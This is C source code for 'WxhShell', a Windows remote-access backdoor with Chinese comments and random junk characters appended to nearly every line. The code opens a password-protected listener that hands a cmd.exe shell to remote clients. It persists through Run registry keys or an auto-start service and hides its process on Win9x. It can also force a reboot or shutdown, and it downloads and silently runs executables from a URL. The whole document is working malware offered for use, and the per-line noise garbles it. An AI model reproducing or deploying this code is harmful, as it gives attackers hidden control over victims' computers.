    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )g0fN+Mb  
    else { \(o"/*  
    closesocket(wsh); )pnyVTKt  
    ExitThread(0); rd%%NnT"  
    } ^Co-!jM  
    break; LFp "Waiv  
    } %oZ:Awx  
  // 获取shell zzqJeIS  
  case 's': { CD|[PkjW  
    CmdShell(wsh); p9(y b  
    closesocket(wsh); {28|LwmL  
    ExitThread(0); pfA6?tP`  
    break; K5""%O+  
  } .HqFdsm  
  // 退出 rqdwQ  
  case 'x': { x(_[D08/TT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -yYdj1y;  
    CloseIt(wsh); .KsR48g8  
    break; ,"(L2+Yp  
    } :2 ;Jo^6Se  
  // 离开 gq?:n.;TY  
  case 'q': { 0XHQ 5+"8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UM}u(;oo%)  
    closesocket(wsh); /7Q|D sa  
    WSACleanup(); I.2J-pu}  
    exit(1); _T=g?0 q  
    break; nB[-KS  
        } gEA SYIQ  
  } 4zug9kFK  
  } .R9Z$Kbq  
6% D9;-N)  
  // 提示信息 0c_xPBbB+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pl[J!d.c  
} =W(*0"RM  
  } bp1AN9~  
S}m_XR]  
  return; "tK%]c d-  
} gr=h!'m  
_;<!8e$C  
// shell模块句柄 "L~(%Nx3  
int CmdShell(SOCKET sock) W&z jb>0b0  
{ 8H F^^Cva  
STARTUPINFO si; xU *:a[g  
ZeroMemory(&si,sizeof(si)); !-gU~0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,Q`qnn&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %+7]/_JO&  
PROCESS_INFORMATION ProcessInfo; @KG0QHyiU  
char cmdline[]="cmd"; 0p.bmQSH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g(7 -3q8eq  
  return 0; "4j~2{{ F  
} @@EI=\  
lame/B&nc  
// 自身启动模式 'U@o!\=a  
int StartFromService(void) (IJNBJb  
{ _|HhT^\P  
typedef struct 3v* ~CQy9  
{ \P\Z<z7jy  
  DWORD ExitStatus; ;*K4{wvG  
  DWORD PebBaseAddress; R>' %}|v/  
  DWORD AffinityMask; _k-_&PR  
  DWORD BasePriority; "kg`TJf=  
  ULONG UniqueProcessId; 7#8Gn=g  
  ULONG InheritedFromUniqueProcessId; Z`Yt~{,Q  
}   PROCESS_BASIC_INFORMATION; pwUXM?$R  
eH&F gmU  
PROCNTQSIP NtQueryInformationProcess; ^aFm6HS1  
9I/b$$?D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MNT~[Z9L5G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rk=D5E7  
^xo<$zn  
  HANDLE             hProcess; AerU`^  
  PROCESS_BASIC_INFORMATION pbi; Ebg8qDE  
5/H,UL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,'#TdLe  
  if(NULL == hInst ) return 0; 7y=>Wa?T[  
E-LkP;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ob d n#Wm=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $JE,u' JQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !(s n9z#  
[B0 BHJ~  
  if (!NtQueryInformationProcess) return 0; a6p0_-MF  
 0^;2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kg@'mG  
  if(!hProcess) return 0; *4,Q9K_  
_ _Of0<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =KRM`_QShg  
TS<d?:  
  CloseHandle(hProcess); /-=fWtA  
XxqGsGx4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <}a?<):S  
if(hProcess==NULL) return 0; m 0HK1'  
.hTqZvDa  
HMODULE hMod; =w2 4(S  
char procName[255]; PK*Wu<<  
unsigned long cbNeeded; \0$+*ejz  
Q PH=`s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A=|XlP$6  
3^xUN|.F*V  
  CloseHandle(hProcess); UBvp3 2p  
i,Ct AbMx  
if(strstr(procName,"services")) return 1; // 以服务启动 uo F.f$%"  
^$c#L1 C  
  return 0; // 注册表启动 |OQ]F  
} \Lx=iKs<  
w$2q00R>  
// 主模块 V^~RDOSy7n  
int StartWxhshell(LPSTR lpCmdLine) m*0YMS>Y |  
{ ^W |YE72Y  
  SOCKET wsl; blc?[ [,!  
BOOL val=TRUE; 0b&# w  
  int port=0; fI.|QD*$b  
  struct sockaddr_in door;  *7m lH  
:;?$5h*|`  
  if(wscfg.ws_autoins) Install(); 0B6!$) *-i  
Q3@zUjq_Q  
port=atoi(lpCmdLine); q'D Ts9Bj  
*P mZqe  
if(port<=0) port=wscfg.ws_port; *&U~Io"U  
>hunV'vu'  
  WSADATA data; An2 >]\L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h5?^MRZS  
E'iE#He  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '%$Vmf)=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^WA7X9ed  
  door.sin_family = AF_INET; ?sfqg gi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [ATJ! O  
  door.sin_port = htons(port); 'g#%>  
ZL|aB886  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q14zc0N  
closesocket(wsl); y oW ~  
return 1; 5xH=w:  
} >Kgw2,y+  
RhWQ:l]  
  if(listen(wsl,2) == INVALID_SOCKET) { *l5?_tF  
closesocket(wsl); _p$/.~Xo9  
return 1; ]b- 2:M  
} ch i=]*9  
  Wxhshell(wsl); :{u`qi  
  WSACleanup(); k 9i W1  
PD#,KqL:  
return 0; ~yv7[`+Tgg  
NcA `E_3  
} <J509j  
GRZz@bAO?$  
// 以NT服务方式启动 .n:Q~GEL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .*zN@y3  
{ *g5bdQ:Av~  
DWORD   status = 0; t]K20(FSN  
  DWORD   specificError = 0xfffffff; `[H^ `   
Q-x>yau"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s`yzeo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  ETZf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <83Ky;ry  
  serviceStatus.dwWin32ExitCode     = 0; }M4dze  
  serviceStatus.dwServiceSpecificExitCode = 0; Po?MTA  
  serviceStatus.dwCheckPoint       = 0; CR4O#f8\  
  serviceStatus.dwWaitHint       = 0; [f+wP|NKL  
cSL6V2F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ERPg TZT  
  if (hServiceStatusHandle==0) return; Es>' N3A z  
f' A$':Y  
status = GetLastError(); BTAbDyH5  
  if (status!=NO_ERROR) SZGR9/* ^  
{ [O3:?BNY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aM5]cc%  
    serviceStatus.dwCheckPoint       = 0; Ysm RY=3  
    serviceStatus.dwWaitHint       = 0; =$OGHc  
    serviceStatus.dwWin32ExitCode     = status; Nu7>G  
    serviceStatus.dwServiceSpecificExitCode = specificError; /&Q{B f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /r4l7K  
    return; } =OE.cf@  
  } 2^[dy>[y0  
B:h<iU:'D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )<5k+O~  
  serviceStatus.dwCheckPoint       = 0; "_/ih1z]  
  serviceStatus.dwWaitHint       = 0; AM+5_'S,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m%0 -3c(  
} jPSVVOG  
!hVbx#bXl  
// 处理NT服务事件,比如:启动、停止 q|*^{(tWs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?R]`M_^&u!  
{ n])#<0  
switch(fdwControl) t:2DB)  
{ K]|UdNo  
case SERVICE_CONTROL_STOP: - l X4;  
  serviceStatus.dwWin32ExitCode = 0; 40?RiwwD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +2`BZ}5y  
  serviceStatus.dwCheckPoint   = 0; ]g-%7g|  
  serviceStatus.dwWaitHint     = 0; tp`1S+'~j  
  { M\{n+r -m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \%<M[r=  
  } 6f +aGz  
  return; r w!jmvHE&  
case SERVICE_CONTROL_PAUSE: y,5qY}P+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;VE y{%nF  
  break; ? xR7Ii3  
case SERVICE_CONTROL_CONTINUE: 7^><Vh"qV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2.3_FXSt  
  break; K/W=r  
case SERVICE_CONTROL_INTERROGATE: 0O"W0s"T#  
  break; 3en 9TB  
}; w0!$ow.l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ay(p~U;gN*  
} Uxjc&o  
?4':~;~  
// 标准应用程序主函数 LGt>=|=bj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D [+LU(  
{ `#$}P;W  
}xsO^K  
// 获取操作系统版本 :7K a4  
OsIsNt=GetOsVer(); `=Ip>7T&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f=^xU P  
T >8P1p@A,  
  // 从命令行安装 cK'g2S  
  if(strpbrk(lpCmdLine,"iI")) Install(); yz68g?"  
u=0O3-\h  
  // 下载执行文件 k ]NZ%.  
if(wscfg.ws_downexe) { zA5nr`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yV.p=8:  
  WinExec(wscfg.ws_filenam,SW_HIDE); L"ho|v9:  
} %O`@}Tg  
pX%:XpC!h  
if(!OsIsNt) { }r,M (Zr  
// 如果时win9x,隐藏进程并且设置为注册表启动  rDFrreQP  
HideProc(); G!j9D  
StartWxhshell(lpCmdLine); dWd%>9 }  
} W'4/cO  
else Xz4q^XJ  
  if(StartFromService()) xJ3C^b%H  
  // 以服务方式启动 wlNL;W@w  
  StartServiceCtrlDispatcher(DispatchTable); 6!_Wo\ _%  
else e bze_:  
  // 普通方式启动 )=f}vHg$  
  StartWxhshell(lpCmdLine); m%L!eR  
_%Z.Re  
return 0; htB7 j(  
} -jJhiaJ$<  
v_zt$bf{Y  
U =J5lo  
z)T-<zWO;  
=========================================== EA~xxKq  
e_b,{l#  
-`' |z+V  
!` 1h *}  
UIEvwQ  
^ =C>  
" B?%u< F  
[#GBn0BG)  
#include <stdio.h> dJ^`9W  
#include <string.h> LG|,g3&  
#include <windows.h> ;MJ1Q  
#include <winsock2.h> m'B6qy!}6  
#include <winsvc.h> ,s76]$%4  
#include <urlmon.h> _MEv*Q@o  
R*0F)M  
#pragma comment (lib, "Ws2_32.lib") B~#@fIL  
#pragma comment (lib, "urlmon.lib") \IfgL$+  
i?/?{p$#a-  
#define MAX_USER   100 // 最大客户端连接数 -*M:OF"Zh  
#define BUF_SOCK   200 // sock buffer Z :+#3.4$3  
#define KEY_BUFF   255 // 输入 buffer swFOh5z  
k#) .E X  
#define REBOOT     0   // 重启 ( `+Z'Y  
#define SHUTDOWN   1   // 关机 `C?OAR44  
bVHi3=0{  
#define DEF_PORT   5000 // 监听端口 LeyDs>! 0  
F8Wq&X#r  
#define REG_LEN     16   // 注册表键长度 BD-=y  
#define SVC_LEN     80   // NT服务名长度 hob$eWgr  
ItPK  
// 从dll定义API [9_ (+E[}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hY 2PV7"[;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r&sOM_BUF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tlgvBRH>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 34Khg  
x 4</\o  
// wxhshell配置信息 c|( ?  
struct WSCFG { /+`<X%^U  
  int ws_port;         // 监听端口 =Fy8rTdk6r  
  char ws_passstr[REG_LEN]; // 口令 ,D2_Z]  
  int ws_autoins;       // 安装标记, 1=yes 0=no yGG B  
  char ws_regname[REG_LEN]; // 注册表键名 ~C7<a48x  
  char ws_svcname[REG_LEN]; // 服务名 'A!/pUML  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?}v%JUcs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n o+tVm|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wKS-O%?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2 U`W[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RLOQ>vYY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /NX7Vev  
)z235}P  
}; 0&IXzEOr  
KI@    
// default Wxhshell configuration zZ"U9!T  
struct WSCFG wscfg={DEF_PORT, t{8v(}  
    "xuhuanlingzhe", kefv=n*]l  
    1, !FO^:V<|5  
    "Wxhshell", qJXsf M6  
    "Wxhshell", N46$EsO!h  
            "WxhShell Service", 66@3$P%1p  
    "Wrsky Windows CmdShell Service", F:o #  
    "Please Input Your Password: ",  Vm;Q w  
  1, u@_!mjXQ  
  "http://www.wrsky.com/wxhshell.exe", ?t0zsq  
  "Wxhshell.exe" t)gi.Ed1"L  
    }; hdr}!w V  
 ;[KriW  
// 消息定义模块 vo6[2.HS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jXY;V3l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %:w% o$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  Ep\  
char *msg_ws_ext="\n\rExit."; n^pZXb;Y  
char *msg_ws_end="\n\rQuit."; Yl&tkSw46  
char *msg_ws_boot="\n\rReboot..."; ^/C $L8#  
char *msg_ws_poff="\n\rShutdown..."; Fb|e]?w  
char *msg_ws_down="\n\rSave to "; od}EM_  
e@:P2(WW l  
char *msg_ws_err="\n\rErr!"; En,)}yI  
char *msg_ws_ok="\n\rOK!"; C?60`^  
ewAH'H]o  
char ExeFile[MAX_PATH]; Le` /  
int nUser = 0; 6/mkJj+"  
HANDLE handles[MAX_USER]; `?]rr0.}hp  
int OsIsNt; B]|6`UfB  
6i]Nr@1C  
SERVICE_STATUS       serviceStatus; jKj=#O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rct"\{V')n  
L`jB)wF /J  
// 函数声明 dgco*TIGO  
int Install(void); ^)OZ`u8  
int Uninstall(void); 9P7xoXJ@y  
int DownloadFile(char *sURL, SOCKET wsh); 0\cnc^Z  
int Boot(int flag); N4a`8dS|  
void HideProc(void); 3'[Rvy{  
int GetOsVer(void); oI_oz0nHk  
int Wxhshell(SOCKET wsl); `!nJS|  
void TalkWithClient(void *cs); dNUR)X#e  
int CmdShell(SOCKET sock); llHc=&y#  
int StartFromService(void); &0+x2e)7g  
int StartWxhshell(LPSTR lpCmdLine); )@Zc?Da  
=de<WoKnu2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ` URSv,(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aJ :A%+1  
k-WHHoU>o  
// 数据结构和表定义 y@o9~?M  
SERVICE_TABLE_ENTRY DispatchTable[] = X~v4"|a  
{ &GdL 9!hH  
{wscfg.ws_svcname, NTServiceMain}, xdd:yrC   
{NULL, NULL} FOCoiocPi  
}; kqVg2#<@M  
/x  
// 自我安装 6P;o 6s  
int Install(void) ]u rK$   
{ DeOXM=&z  
  char svExeFile[MAX_PATH]; `OKo=e~,  
  HKEY key; g!1I21M1~  
  strcpy(svExeFile,ExeFile); 'FShNY5  
RVc)") hQj  
// 如果是win9x系统,修改注册表设为自启动 = :Po%Z%{  
if(!OsIsNt) { \#PP8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2B HKS-J*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;#3ekl{-g  
  RegCloseKey(key); .Qd}.EG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r_Lu~y|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0jBKCu  
  RegCloseKey(key); 3YR* ^  
  return 0; r2RBrZ@1  
    } /^w"' '  
  } mT96 ]V \  
} <z^SZ~G  
else { Q>kiVvc  
saatU;V  
// 如果是NT以上系统,安装为系统服务 K<c2PFo)Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o g_Ri$x8  
if (schSCManager!=0) D899gGe  
{ %fHH{60  
  SC_HANDLE schService = CreateService YVoao#!  
  ( ytEQ`  
  schSCManager, Iq+2mQi*/k  
  wscfg.ws_svcname, I?^aCnU  
  wscfg.ws_svcdisp, StEQ -k  
  SERVICE_ALL_ACCESS, !?jK1{E3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +<&E3Or  
  SERVICE_AUTO_START, nt7|f,_J  
  SERVICE_ERROR_NORMAL, ;:P7}v fz!  
  svExeFile, d>Un J)V}  
  NULL, R0{Qy*YQ`  
  NULL, V]Sgx00;  
  NULL, ze&#i6S  
  NULL, pg+b[7  
  NULL '?5S"??  
  ); Qe_+r(3)k  
  if (schService!=0) 2zhn`m  
  { ^[#=L4  
  CloseServiceHandle(schService); L/~D<V  
  CloseServiceHandle(schSCManager); mIvnz{_d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z^'n* h  
  strcat(svExeFile,wscfg.ws_svcname); 7m\vRMK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -!l^]MU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L ${m/@9  
  RegCloseKey(key); :WVSJ,. !  
  return 0; OZ=Cp$  
    } f_rp<R>Uu  
  } VrVDm*AGQ  
  CloseServiceHandle(schSCManager); @a0Q0M  
} 975 _d_U  
} xpAok]  
&Y+e=1a+  
return 1; QCWf.@n  
}  7SaiS_{:  
^_sQG  
// 自我卸载 0Q7MM6  
int Uninstall(void) sdrWOq  
{ )AI?x@  
  HKEY key; "TfI+QgLF  
[_V:)  
if(!OsIsNt) { iA9 E^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  c-5Ysg  
  RegDeleteValue(key,wscfg.ws_regname); `%Q&</X  
  RegCloseKey(key); 44~hw:   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F_ 81l<  
  RegDeleteValue(key,wscfg.ws_regname); U9 bWU'  
  RegCloseKey(key); 33 : @*  
  return 0; ypl G18  
  } D*QYKW=)  
} D^|9/qm$  
} K3L"^a  
else { .%IslLZ  
g8RPHjvZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eeW`JG-E  
if (schSCManager!=0) uaaf9SL?  
{ ?_%u)S*g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ya.n'X14  
  if (schService!=0) xz8G}Ku  
  { Z5$fE7ba+  
  if(DeleteService(schService)!=0) { {rDq_^  
  CloseServiceHandle(schService); JGis"e  
  CloseServiceHandle(schSCManager); s9i|mVtm8  
  return 0; oR#Ob#&  
  } >g]ON9CGH  
  CloseServiceHandle(schService); Plfdr~$  
  } B$?^wo  
  CloseServiceHandle(schSCManager); 9,scH65x  
} _w>uI57U  
} V&%C\ns4  
a.q;_5\5`  
return 1; +Ofa#^5);K  
} <bP#H  
cI:-Z{M7z  
// 从指定url下载文件  m*dNrG  
int DownloadFile(char *sURL, SOCKET wsh) oxzq!U  
{ /P:EWUf'  
  HRESULT hr; 2)9r'ai?a  
char seps[]= "/"; oQ\&}@(V  
char *token; :^#vxdIC?  
char *file; )c+k_;t'+  
char myURL[MAX_PATH]; DW>ES/B8$(  
char myFILE[MAX_PATH]; [EOVw%R  
8I.VJ3Q  
strcpy(myURL,sURL); ,F9nDF@)  
  token=strtok(myURL,seps); &I/qG`W  
  while(token!=NULL) 2.nE k  
  {  Gq1)1  
    file=token; r[pF^y0   
  token=strtok(NULL,seps); Da_()e[9p  
  } A[)C:q,  
y`S o&:1  
GetCurrentDirectory(MAX_PATH,myFILE); m*Cu-6&qd  
strcat(myFILE, "\\"); o2naVxetE  
strcat(myFILE, file); Skxd<gv  
  send(wsh,myFILE,strlen(myFILE),0); `N'V#)Pi  
send(wsh,"...",3,0); ,[l`zp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p0VUh!  
  if(hr==S_OK) Jzex]_:1~  
return 0; w7 *V^B  
else )/>A6A:  
return 1; ~*-qX$gr  
+qy6d7^  
} U\vY/6;JI  
` >U?v  
// 系统电源模块 cG_Vc[  
int Boot(int flag) q.W>4 k  
{ rt}^4IqL  
  HANDLE hToken; ?lKhzH.T  
  TOKEN_PRIVILEGES tkp; i\Wdo/c-H  
%\6Q .V#s  
  if(OsIsNt) { s`;f2B/|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +~35G:&:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jatr/  
    tkp.PrivilegeCount = 1; 5k$vlC#[H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WU)Ss`s \  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gKi{Y1  
if(flag==REBOOT) { N'?u1P4G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bK*~ol  
  return 0; ^RNOcM|  
} S|AjL Ng#  
else { kO_5|6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L l}yJ#3,  
  return 0; K 1W].(-@4  
} KY.ZT2k  
  } 76@qHTh }  
  else { H=~9CJ+tc  
if(flag==REBOOT) { (MLhaux-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >5ChcefH  
  return 0; , ;jGJr  
} m3 -9b"  
else { r*XLV{+4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZA820A>2!  
  return 0; |5MbAqjzC  
} `^6 ,kI-c  
} 75NRCXh.  
AK@L32-S  
return 1; [Qj;/  
} <]d LX}C)  
E=w3=\JP  
// win9x进程隐藏模块 nc?B6IV  
void HideProc(void) z]@6fM[  
{ c$h9/H=~  
h"W8N+e\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5zB~4u  
  if ( hKernel != NULL ) -t-tn22  
  { [*4fwk^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =.Tv)/ea  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lFq{O;q7}  
    FreeLibrary(hKernel); +!yX T C  
  } `JURQ:l)3^  
Nneo{j  
return; r{K;|'d%h  
} (f#b7O-Wn  
=RsXI&&vh  
// 获取操作系统版本 L%h/OD  
int GetOsVer(void) >I'% !E;  
{ i.y)mcB4  
  OSVERSIONINFO winfo; .*5Z"Q['G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >)**khuP7  
  GetVersionEx(&winfo); EL D!{bMT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JAjku6  
  return 1; \ |!\V  
  else E>uVofhml  
  return 0; 'Jj=RAV`  
} Q[u6|jRt  
8P: spD0  
// 客户端句柄模块 F- rQ3  
int Wxhshell(SOCKET wsl) Ak BMwV  
{ Ng=ONh  
  SOCKET wsh; @g-Tk  
  struct sockaddr_in client; MMQ;mw=^]  
  DWORD myID; v~)LO2y   
h<l1U'Bn7  
  while(nUser<MAX_USER) %,q. ),F  
{ anN#5jt  
  int nSize=sizeof(client); '%;\YD9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e %O0hE  
  if(wsh==INVALID_SOCKET) return 1; 27Emm c  
ccJM>9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [\e@_vY@OH  
if(handles[nUser]==0) EbQa?  
  closesocket(wsh); z\!K<d"Xv  
else %D=]ZV](  
  nUser++; L>9R4:g  
  } T)iW`vZg8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S4o$t -9l  
tkKJh !Q7  
  return 0; {6Au3gt/  
} rofNZ;nu  
n.}T1q|l  
// 关闭 socket x3G:(YfO  
void CloseIt(SOCKET wsh) +[-i%b3q  
{ 5Fw - d  
closesocket(wsh); C NrII sJ  
nUser--; []pN$]+c  
ExitThread(0); #f,y&\Xmf  
} _}6q{}jn:c  
E/b"RUv}h  
// 客户端请求句柄 Gh( A%x)  
void TalkWithClient(void *cs) ;0%OB*lcgE  
{  iThSt72  
83Ou9E!W  
  SOCKET wsh=(SOCKET)cs; zGo|JF  
  char pwd[SVC_LEN]; a2@c%i  
  char cmd[KEY_BUFF]; K7)kS  
char chr[1]; k;^ :  
int i,j; uE5X~  
P:xT0gtt  
  while (nUser < MAX_USER) { hpbf&S4  
PAF8W lg  
if(wscfg.ws_passstr) { 1Y j~fb(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gE7L L=x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "&+3#D >  
  //ZeroMemory(pwd,KEY_BUFF); 5FeFN)  
      i=0; @'2m$a  
  while(i<SVC_LEN) { t*S." q  
hGTV;eU  
  // 设置超时 *C|  
  fd_set FdRead; ^s:y/Kd  
  struct timeval TimeOut; :l u5Uu~  
  FD_ZERO(&FdRead); O6s.<` \  
  FD_SET(wsh,&FdRead); ef"?|sn  
  TimeOut.tv_sec=8; r7m D{0s*  
  TimeOut.tv_usec=0; 3251Vq %  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -0uV z)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N:5[,O<m_  
-7qIToO.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xyh.N)  
  pwd=chr[0]; JCniN";r[  
  if(chr[0]==0xd || chr[0]==0xa) { V A^l+Z,d  
  pwd=0; )X+mV  
  break; tOl e>]  
  }  k+ o|0  
  i++; 2][DZl  
    } ?=Pd  
Rd*[%)  
  // 如果是非法用户,关闭 socket W&Y"K)`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u,. 3  
} /B3R1kNf|  
>h~IfZU1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tfO#vw,@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m:QG}{<.h  
y2L#:[8  
while(1) { jH;Du2w  
jdA ]2]  
  ZeroMemory(cmd,KEY_BUFF); *~XA'Vw!  
[tT8_}v$LN  
      // 自动支持客户端 telnet标准   }GwVKAjP  
  j=0; xb2?lL]  
  while(j<KEY_BUFF) { R[tC^]ai  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dr<='Ux[5  
  cmd[j]=chr[0]; uYI@ 9U  
  if(chr[0]==0xa || chr[0]==0xd) { jyS=!ydn+  
  cmd[j]=0; {lG@hN'  
  break; zt24qTKL  
  } XKOUQc4!R  
  j++; SuBeNA[&  
    } ]$-cMX  
 gJN0!N'  
  // 下载文件 b,H[I!. %  
  if(strstr(cmd,"http://")) { UKd'+R]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R9vT[{!i  
  if(DownloadFile(cmd,wsh)) '=E9En#@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F?+3%>/A @  
  else cV K7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yY{kG2b,  
  } M6|I6M<  
  else { ;#+0L$<t  
I`RBj`IF  
    switch(cmd[0]) { U 5w:"x  
  kTIYD o  
  // 帮助 9-1#( Y6S  
  case '?': { . v)mZp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %y[1H5)3<  
